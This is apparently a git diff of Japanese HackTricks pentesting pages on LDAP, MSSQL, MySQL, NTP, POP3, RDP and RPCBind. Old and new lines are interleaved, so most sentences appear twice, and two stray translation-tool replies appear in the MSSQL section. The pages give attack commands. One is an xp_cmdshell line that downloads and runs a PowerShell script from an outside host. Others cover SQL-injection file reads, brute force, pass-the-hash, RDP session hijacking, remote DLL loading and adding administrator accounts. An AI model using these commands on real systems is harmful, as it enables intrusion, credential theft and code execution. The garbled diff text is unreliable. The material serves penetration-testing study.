**Pbis**を使用すると、基本情報を簡単に取得できます:
**Pbis**は基本情報を簡単に取得することを可能にします:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
@ -290,11 +290,11 @@ Godapは、ADや他のLDAPサーバーのオブジェクトや属性と対話す
![](../images/godap.png)
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)でアクセスできます。使用例指示については[Wiki](https://github.com/Macmod/godap/wiki)をお読みください。
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)でアクセスできます。使用例指示については[Wiki](https://github.com/Macmod/godap/wiki)をお読みください。
### Ldapx
Ldapxは、他のツールからのLDAPトラフィックを検査および変換するために使用できる柔軟なLDAPプロキシです。LDAPトラフィックを難読化して、アイデンティティ保護およびLDAP監視ツールを回避する試みを行うために使用でき、[MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo)トークで提示されたほとんどの方法を実装しています。
Ldapxは、他のツールからのLDAPトラフィックを検査および変換するために使用できる柔軟なLDAPプロキシです。LDAPトラフィックを難読化して、アイデンティティ保護およびLDAP監視ツールを回避する試みを行うことができ、[MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo)トークで提示されたほとんどの方法を実装しています。
![](../images/ldapx.png)
@ -302,7 +302,7 @@ Ldapxは、他のツールからのLDAPトラフィックを検査および変
## kerberosによる認証
`ldapsearch`を使用すると、**NTLM**ではなく**kerberos**に対して**認証**できます。パラメータ`-Y GSSAPI`を使用します。
`ldapsearch`を使用すると、パラメータ`-Y GSSAPI`を使用して**NTLM**ではなく**kerberos**に対して**認証**できます。
## POST
@ -335,7 +335,7 @@ johnにパスワードハッシュ'{SSHA}'から'structural'まで、'structu
- Sun ONE Directory Server 5.1
- 75sas.ldif
## HackTricks自動コマンド
## HackTricks 自動コマンド
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server**、Microsoft によって開発された **リレーショナルデータベース** 管理システムで。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。
> **Microsoft SQL Server****リレーショナルデータベース** 管理システムで、Microsoft によって開発されました。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。
**デフォルトポート:** 1433
```
@ -17,7 +17,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Database**: このデータベースは、SQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため、重要です。
- **msdb Database**: SQL Server Agentは、このデータベースを使用してアラートとジョブのスケジューリングを管理します。
- **model Database**: SQL Serverインスタンス上のすべての新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
- **Resource Database**: SQL Serverに付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは、Resourceデータベースに物理的に保存されている一方で、すべてのデータベースのsysスキーマに論理的に表示されます。
- **Resource Database**: SQL Serverに付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは物理的にはResourceデータベースに保存されていますが、論理的にはすべてのデータベースのsysスキーマに表示されます。
- **tempdb Database**: 一時的なオブジェクトや中間結果セットのための一時ストレージエリアとして機能します。
## 列挙
@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> もし**資格情報**が**ない**場合は、推測してみることができます。nmapやmetasploitを使用できます。注意してください、既存のユーザー名を使用して何度もログインに失敗すると、**アカウントをブロック**する可能性があります。
> 認証情報が**ない**場合は、推測してみることができます。nmapやmetasploitを使用できます。注意してください、既存のユーザー名を使用して何度もログインに失敗すると、**アカウントがブロック**される可能性があります。
#### Metasploit (資格情報が必要)
#### Metasploit (認証情報が必要)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -155,14 +155,14 @@ SELECT * FROM sysusers
```
#### 権限の取得
1. **Securable:** アクセス制御のためにSQL Serverによって管理されるリソースとして定義されます。これらは以下のように分類されます
1. **Securable:** SQL Serverによってアクセス制御のために管理されるリソースとして定義されます。これらは以下のように分類されます:
- **Server** 例としてデータベース、ログイン、エンドポイント、可用性グループ、サーバーロールなどがあります。
- **Database** 例としてデータベースロール、アプリケーションロール、スキーマ、証明書、全文検索カタログ、ユーザーなどがあります。
- **Schema** テーブル、ビュー、プロシージャ、関数、同義語などが含まれます。
2. **Permission:** SQL Serverのセキュアブルに関連付けられ、ALTER、CONTROL、CREATEなどの権限が主体に付与されることがあります。権限の管理は2つのレベルで行われます
- **Server Level** ログインを使用
- **Database Level** ユーザーを使用
3. **Principal:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。主体には主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。
3. **Principal:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -270,7 +270,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> ```
**responder**や**Inveigh**などのツールを使用すると、**NetNTLMハッシュを盗む**ことが可能です。\
これらのツールの使用方法については、次を参照してください
これらのツールの使用方法は次のリンクで確認できます
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -278,7 +278,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### MSSQLトラストリンクの悪用
[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法についての詳細情報を見つけてください**
[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法についての詳細情報を見つけるために**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -286,7 +286,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### **ファイルの書き込み**
`MSSQL`を使用してファイルを書き込むには、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)**有効にする必要があり**、これは管理者権限を必要とし、その後ファイルを作成するためにいくつかのストアドプロシージャを実行します:
`MSSQL`を使用してファイルを書き込むには、**[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)**有効にする必要があり、これは管理者権限を必要とし、その後ファイルを作成するためにいくつかのストアドプロシージャを実行します:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -315,19 +315,19 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### SQLiのためのエラーに基づくベクター:
#### SQLiのエラーベースベクター:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/スクリプトを実行してファイルを読み取る (Python と R)**
### **RCE/ファイルを読み取るスクリプトの実行 (Python と R)**
MSSQL は **Python および/または R のスクリプトを実行する**ことを許可する場合があります。これらのコードは、**xp_cmdshell** を使用してコマンドを実行しているユーザーとは **異なるユーザー** によって実行されます。
MSSQL は **Python および/または R** で **スクリプトを実行**することを許可する場合があります。これらのコードは、**xp_cmdshell** を使用してコマンドを実行しているユーザーとは **異なるユーザー** によって実行されます。
**'R'** _"Hellow World!"_ **を実行しようとした例**:
**'R'** _"Hellow World!"_ **が動作しない** 例:
![](<../../images/image (393).png>)
構成された Python を使用していくつかのアクションを実行する例:
複数のアクションを実行するために構成された Python を使用する例:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -343,7 +343,7 @@ GO
```
### レジストリの読み取り
Microsoft SQL Serverは、**複数の拡張ストアドプロシージャ**を提供しており、ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)とも対話することができます。
Microsoft SQL Serverは、**ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**とも対話することを可能にする**複数の拡張ストアドプロシージャ**を提供しています。**
| **通常** | **インスタンス対応** |
| --------------------------- | ------------------------------------ |
@ -366,21 +366,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
**より多くの例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を確認してください。
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL ユーザー定義関数による RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
MSSQLで**カスタム関数を使用して.NET dllをロードすることが可能です**。ただし、**`dbo`アクセスが必要です**ので、データベースに**`sa`または管理者ロールとして接続する必要があります**
**カスタム関数を使用して MSSQL 内に .NET dll をロードすることが可能です**。ただし、**`dbo` アクセスが必要です**ので、データベースに**`sa` または管理者ロール**として接続する必要があります。
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
[**このリンクをたどって**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)例を確認してください。
### RCE with `autoadmin_task_agents`
### `autoadmin_task_agents`による RCE
[**この投稿によると**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモートdllをロードし、MSSQLにそれを実行させることも可能です。
[**この投稿によると**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモート dll をロードし、MSSQL にそれを実行させることも可能です。
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
翻訳する内容が提供されていません。翻訳が必要なテキストを提供してください。
翻訳するテキストを提供してください。
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -432,7 +432,7 @@ public void Test()
```
### RCEの他の方法
コマンド実行を得るための他の方法として、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)があります。
コマンド実行をるための他の方法として、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)があります。
## MSSQL特権昇格
@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### 他のユーザーのなりすまし
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが他のユーザーまたはログインの権限を引き継ぐことを許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで有効です。
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが別のユーザー**またはログインの権限を引き継ぐことを**許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -505,7 +505,7 @@ enum_links
use_link [NAME]
```
> [!NOTE]
> ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース** **やリンクサーバーにアクセスできるかどうかを確認するべきです。**
> ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース**やリンクサーバーにアクセスできるかどうかを確認するべきです。
sysadminになると、他のユーザーを偽装できることに注意してください
```sql
@ -545,7 +545,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。
この攻撃に関するさらなる情報は、のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
この攻撃に関するさらなる情報は、以下のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL

View File

@ -4,7 +4,7 @@
## **基本情報**
**MySQL**は、無償で利用可能なオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**に基づいて動作し、データベースの管理と操作を可能にします。
**MySQL**は、無償で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**に基づいて動作し、データベースの管理と操作を可能にします。
**デフォルトポート:** 3306
```
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## 外部列挙
いくつかの列挙アクションには有効な資格情報が必要です
いくつかの列挙アクションには有効な資格情報が必要です
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -111,7 +111,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
## MySQLクライアントによる任意のファイルの読み取り
実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取って**その内容を送信するように要求します。**したがって、自分のMySQLサーバーに接続するようにmysqlクライアントを改ざんできれば、任意のファイルを読み取ることができます。**\
実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取る**ように要求し、その内容を送信します。**したがって、mysqlクライアントを改ざんして自分のMySQLサーバーに接続できれば、任意のファイルを読み取ることができます。**\
この動作は次のように使用されることに注意してください:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -124,7 +124,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**初期PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**この論文では、攻撃の完全な説明とRCEに拡張する方法を見ることができます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**この論文では、攻撃の完全な説明とそれをRCEに拡張する方法を見ることができます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -216,21 +216,21 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### MySQLの資格情報をファイルから抽出する
_/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint****平文パスワード** を見つけることができます。
_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint****平文パスワード** が含まれています。
```bash
cat /etc/mysql/debian.cnf
```
これらの資格情報を使用してmysqlデータベースにログインできます。
これらの認証情報を使用して、mysqlデータベースにログインできます。
ファイル _/var/lib/mysql/mysql/user.MYD_ の中に、**MySQLユーザーのすべてのハッシュ**データベース内のmysql.userから抽出できるものを見つけることができます。
ファイル _/var/lib/mysql/mysql/user.MYD_ の中に、**MySQLユーザーのすべてのハッシュ**データベース内のmysql.userから抽出できるものが見つかります。
次のようにして抽出できます:
これらを抽出するには、次のようにします:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### ロギングの有効化
`/etc/mysql/my.cnf` mysql クエリのロギングを有効にするには、以下の行のコメントを外します。
mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。
![](<../images/image (899).png>)
@ -258,7 +258,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
- update.log
- common.log
## デフォルト MySQL データベース/テーブル
## デフォルトのMySQLデータベース/テーブル
{{#tabs}}
{{#tab name="information_schema"}}
@ -562,7 +562,7 @@ x$statement_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements\_with\_sorting\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
@ -578,7 +578,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks 自動コマンド
## HackTricks自動コマンド
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap

View File

@ -8,12 +8,12 @@
### 概要とセキュリティのヒント:
- **目的**: ネットワーク上でデバイスの時計を同期させる。
- **目的**: ネットワークを介してデバイスの時計を同期させる。
- **重要性**: セキュリティ、ログ記録、および運用にとって重要。
- **セキュリティ対策**:
- 認証付きの信頼できるNTPソースを使用する。
- NTPサーバーへのネットワークアクセスを制限する。
- 改ざんの兆候を監視する。
- 改ざんの兆候がないか同期を監視する。
**デフォルトポート:** 123/udp
```
@ -44,7 +44,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
**NTPプロトコル**は、UDPを使用しており、TCPとは異なり、ハンドシェイク手順なしで動作することができます。この特性は、**NTP DDoS増幅攻撃**で悪用されます。ここでは、攻撃者が偽のソースIPを持つパケットを作成し、攻撃リクエストが被害者から来ているように見せかけます。これらのパケットは最初は小さいですが、NTPサーバーははるかに大きなデータ量で応答し、攻撃を増幅させます。
_**MONLIST**_コマンドは、その使用頻度は低いものの、NTPサービスに接続した最後の600クライアントを報告することができます。このコマンド自体は単純ですが、その悪用は重大なセキュリティ脆弱性を浮き彫りにします。
_**MONLIST**_コマンドは、使用頻度は低いものの、NTPサービスに接続した最後の600クライアントを報告することができます。このコマンド自体は単純ですが、その悪用は重大なセキュリティ脆弱性を浮き彫りにします。
```bash
ntpdc -n -c monlist <IP>
```
@ -64,11 +64,13 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -26,13 +26,13 @@ openssl s_client -connect <IP>:995 -crlf -quiet
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
`pop3-ntlm-info` プラグインは、いくつかの "**機密**" データWindows バージョン)を返します。
`pop3-ntlm-info`プラグインは、いくつかの「**機密**」データWindowsバージョン)を返します。
### [POP3 ブルートフォース](../generic-hacking/brute-force.md#pop)
### [POP3ブルートフォース](../generic-hacking/brute-force.md#pop)
## POP 構文
## POP構文
POP コマンドの例は [こちら](http://sunnyoasis.com/services/emailviatelnet.html) から。
POPコマンドの例は[こちら](http://sunnyoasis.com/services/emailviatelnet.html)から。
```bash
POP commands:
USER uid Log in as "uid"
@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab

View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## 基本情報
Microsoftによって開発された**Remote Desktop Protocol****RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするように設計されています。この接続を確立するために、ユーザーは**RDP**クライアントソフトウェアを利用し、同時にリモートコンピュータは**RDP**サーバーソフトウェアを操作する必要があります。この設定により、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスでき、実質的にそのインターフェースをユーザーのローカルデバイスに持ち込むことができます。
@ -33,14 +32,14 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### 知ている資格情報/ハッシュで接続する
### 知られている資格情報/ハッシュで接続する
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### RDPサービスに対する既知の資格情報の確認
### RDPサービスに対する既知の資格情報を確認する
impacketのrdp_check.pyを使用すると、RDPサービスに対していくつかの資格情報が有効かどうかを確認できます
```bash
@ -60,7 +59,7 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
選択したRDPセッションに入ると、Windowsのツールと機能のみを使用してユーザーを偽装することができます。
今、選択したRDPセッション内にいることになり、Windowsのツールと機能のみを使用してユーザーをなりすますことができます。
**重要**: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。
@ -68,7 +67,7 @@ tscon <ID> /dest:<SESSIONNAME>
#### **Mimikatz**
れを行うためにmimikatzを使用することもできます:
の目的のためにmimikatzを使用することもできます:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
@ -81,7 +80,7 @@ ts::remote /id:2 #Connect to the session
### RDPプロセスインジェクション
異なるドメインの誰かが**より良い権限でRDP経由で**あなたが管理者であるPCにログインした場合、あなたは彼の**RDPセッションプロセス**にビークンを**インジェクト**し、彼のように行動できます:
異なるドメインの誰かが**より良い権限でRDP経由でログイン**してきた場合、**あなたが管理者である**PCに対して、彼の**RDPセッションプロセス**にビークンを**インジェクト**し、彼のように行動することができます:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -95,7 +94,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイトフレームワークです。この脆弱性Microsoftによって機能としてリストされていますは、リモート攻撃者が**被害者のデスクトップを彼の同意なしに表示し**、さらにはオペレーティングシステム自体にネイティブなツールを使用して、要求に応じて制御することを可能にします。
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイトフレームワークです。この脆弱性Microsoftによって機能としてリストされていますは、リモート攻撃者が**被害者のデスクトップを同意なしに表示し**、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用します。
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- コマンドラインから自動的にマウスとキーボードを制御
@ -116,7 +115,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap

View File

@ -4,9 +4,9 @@
## 基本情報
**Portmapper** は、ネットワークサービスポートを **RPC** (Remote Procedure Call) プログラム番号にマッピングするために利用されるサービスです。これは **Unixベースのシステム** において重要なコンポーネントとして機能し、これらのシステム間での情報交換を促進します。**Portmapper** に関連する **ポート** は、攻撃者によって頻繁にスキャンされ、貴重な情報を明らかにする可能性があります。この情報には、実行中の **Unixオペレーティングシステム (OS)** の種類や、システム上で利用可能なサービスに関する詳細が含まれます。さらに、**Portmapper** は、ネットワークサービスを効果的に管理するために **NFS (Network File System)**、**NIS (Network Information Service)**、および他の **RPCベースのサービス** と共に一般的に使用されます。
**Portmapper** は、ネットワークサービスポートを **RPC** (Remote Procedure Call) プログラム番号にマッピングするために利用されるサービスです。これは **Unixベースのシステム** において重要なコンポーネントとして機能し、これらのシステム間での情報交換を促進します。**Portmapper** に関連付けられた **ポート** は、攻撃者によって頻繁にスキャンされ、貴重な情報を明らかにする可能性があります。この情報には、実行中の **Unixオペレーティングシステム (OS)** の種類や、システム上で利用可能なサービス詳細が含まれます。さらに、**Portmapper** は、ネットワークサービスを効果的に管理するために **NFS (Network File System)**、**NIS (Network Information Service)**、および他の **RPCベースのサービス** と共に一般的に使用されます。
**デフォルトポート:** 111/TCP/UDP, Oracle Solaris では 32771
**デフォルトポート:** 111/TCP/UDP, 32771 in Oracle Solaris
```
PORT STATE SERVICE
111/tcp open rpcbind
@ -16,7 +16,7 @@ PORT STATE SERVICE
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
```
時には何の情報も得られないことがありますが、他の時には次のようなものが得られます:
時には何の情報も得られないことがありますが、他の時には次のような情報が得られます:
![](<../images/image (553).png>)
@ -26,19 +26,19 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS
サービスNFSを見つけた場合、ファイルをリストし、ダウンロード(そして場合によってはアップロード)できる可能性があります:
NFSサービスが見つかった場合、ファイルをリストし、ダウンロード(場合によってはアップロード)できる可能性があります:
![](<../images/image (872).png>)
このプロトコルをテストする方法について詳しくは[ 2049 - Pentesting NFS service](nfs-service-pentesting.md)をお読みください。
このプロトコルをテストする方法については[2049 - Pentesting NFS service](nfs-service-pentesting.md)を読んで詳しく学んでください。
## NIS
**NIS**の脆弱性を探るには、`ypbind`サービスの特定から始まる二段階のプロセスが必要です。この探求の基盤は**NISドメイン名**を明らかにすることであり、これがなければ進展はありません。
**NIS**の脆弱性を探るには、`ypbind`サービスの特定から始まる二段階のプロセスが必要です。この探索の基盤は、**NISドメイン名**を明らかにすることであり、これがなければ進展はありません。
![](<../images/image (859).png>)
